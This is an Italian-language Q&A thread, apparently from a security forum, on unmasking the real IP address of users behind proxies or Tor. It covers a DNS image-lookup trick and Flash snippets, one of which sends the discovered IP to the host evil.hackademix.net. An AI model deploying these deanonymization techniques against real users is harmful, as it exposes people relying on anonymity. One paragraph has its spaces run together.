Esiste un metodo di best practice (e preferibilmente documentato) per rivelare il vero IP di un utente che utilizza una connessione HTTP (S)?
I .: Per essere in grado di scoprire il vero IP da proxy trasparenti e anonimi ovunque sia possibile.
Esiste un metodo di best practice (e preferibilmente documentato) per rivelare il vero IP di un utente che utilizza una connessione HTTP (S)?
I .: Per essere in grado di scoprire il vero IP da proxy trasparenti e anonimi ovunque sia possibile.
Se la connessione utilizza proxy che vengono implementati correttamente, la ricerca dell'ip tramite http o tcp può essere difficile. potresti avere un po 'di fortuna nell'avvicinarti a ip usando DNS. per Se generi la pagina dinamicamente per contenere un'immagine situata in un dominio che controlli, ad es.
<img src="http://123123.deanonymize.mydomain.com"/>
ilbrowsereseguiràunaricercasu123123.deanonymize.mydomain.com.CiòcomporteràunaqueryDNSricorsivacheallafineraggiungeràiltuoDNSpermydomain.com.LaqueryverràoriginatadaqualsiasiDNSutilizzatodallavittima,ingenerel'ISP.Quindi,mentrenontidaràl'IPesatto,potrebbeindicartiunadirezionegenerale.
AFAIK,questometodofunzionaancheselavittimausaTORinmodalitàvaniglia,vedi
Un altro modo potrebbe essere usare una java-applet per capire l'IP dal lato del client, ma non sono aggiornato su quali sono i limiti al giorno d'oggi.
Ci sono molti modi per farlo. Ecco alcuni altri metodi:
Interfacce di rete di polling (Flash, può ottenere informazioni locali )
import flash.net.NetworkInfo;
public function findInterface():void
{
var results:Vector.<NetworkInterface> =
NetworkInfo.networkInfo.findInterfaces();
for (var i:int=0; i<results.length; i++)
{
var output = output
+ "Name: " + results[i].name + "\n"
+ "DisplayName: " + results[i].displayName + "\n"
+ "MTU: " + results[i].mtu + "\n"
+ "HardwareAddr: " + results[i].hardwareAddress + "\n"
+ "Active: " + results[i].active + "\n";
for (var j:int=0; j<results[i].addresses.length; j++)
{
output = output
+ "Addr: " + results[i].addresses[j].address + "\n"
+ "Broadcast: " + results[i].addresses[j].broadcast + "\n"
+ "PrefixLength: " + results[i].addresses[j].prefixLength + "\n"
+ "IPVersion: " + results[i].addresses[j].ipVersion + "\n";
}
output = output + "\n";
}
}
Invia un "ping" XML (Flash, influenza solo il browser definito proxy)
var socket = new XMLSocket();
socket.onConnect = function(success) {
socket.onXML = function(doc) {
getURL("http://evil.hackademix.net/proxy_bypass?ip=" +
doc.firstChild.firstChild.nodeValue);
socket.close();
};
socket.send(new XML());
};
socket.connect("evil.hackademix.net", 9999);
Tieni presente che tutte le informazioni sull'hardware possono essere rivelate via flash. (Grazie, TildalWave)
C'è un modo per farlo anche in Java. In sostanza, ti consigliamo di disattivare Java, Flash, Plugin e Javascript, per evitare di essere sottoposti a ping con questi metodi.
Nascondere l'IP è il punto di proxy anonimi. Quindi, se quella macchina sta facendo il suo lavoro, non dovrebbe darlo via. Sebbene tu possa provare a eseguire alcuni javascript sul lato client (non sono sicuro se questo funzionerà nel tuo caso.).
Per i proxy trasparenti, ci sono alcune informazioni in questa domanda . Si riduce all'utilizzo dell'intestazione X-Forwarded-For .
Leggi altre domande sui tag http proxy network ip-spoofing